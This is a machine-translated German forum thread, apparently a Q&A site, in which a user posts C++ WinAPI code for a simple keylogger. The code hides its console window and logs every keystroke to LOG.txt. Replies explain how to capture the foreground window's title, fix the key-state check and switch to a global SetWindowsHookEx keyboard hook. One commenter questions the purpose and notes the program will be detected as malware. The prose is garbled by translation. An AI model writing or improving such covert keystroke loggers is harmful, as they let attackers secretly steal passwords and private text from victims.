C++ einfache keylogger
Ich bin versucht, zu schreiben eine einfache keylogger in C++ mit WinAPI. Gibt es eine Möglichkeit zu bekommen, in welcher Anwendung der Benutzer ist die Eingabe der erfassten Tastendrücke?
Und hier ist mein code bisher:
#include <iostream>
#include <windows.h>
#include <winuser.h>
using namespace std;
int main()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen("LOG.txt", "a+");
int c=static_cast<int>(i);
fprintf(OUTPUT_FILE, "%s", &c);
fclose (OUTPUT_FILE);
}
}
}
system ("PAUSE");
return 0;
}
- Es gibt immer
GetForegroundWindow
. - Warum machen Sie den computer öffnen und schließen Sie die gleiche Datei-182 mal in einer Reihe, so schnell wie möglich?
- By the way, der richtige Weg, um zu überprüfen, ob eine Taste unten rechts ist jetzt
GetAsyncKeyState(i) & 0x8000
. - Verwenden Sie einen Tastatur-hook über
SetWindowsHookEx()
zu überwachen, Tastatur-Aktivität, nichtGetAsyncKeyState()
in einer Schleife. - Herzlichen Glückwunsch. Sie schrieb gerade die meiste CPU verbrauchen, Programm, das jemals.
- Nein, es nutzt nur einen thread, so wird es bei den meisten nur ein Kern - und tut es-Datei-I/O, so dass wohl einige system-calls, sperren und so in es zu verlangsamen...
- Das habe ich schon, die für Spaß, wenn ich etwas zu einem anderen Prozess alle CPU.
- Warum schreibst du einen keylogger? Vielleicht gibt es einen besseren Weg, um Ihr problem zu lösen, als etwas zu tun, wird wahrscheinlich dazu führen, dass Ihr Programm als malware erkannt werden.
Du musst angemeldet sein, um einen Kommentar abzugeben.
Da ist die Frage "gibt es eine Möglichkeit zu bekommen, in welcher Anwendung der Benutzer ist die Eingabe der erfassten Tastendrücke?"
Ich würde sagen, verwenden HWND WINAPI GetForegroundWindow(void);
Beispiel:
In cwindow abgeleitet Sie erhalten den Titel des Fensters, in dem der Benutzer Text eingibt.
Was Sie wollen, ist eine globalen Tastatur-hook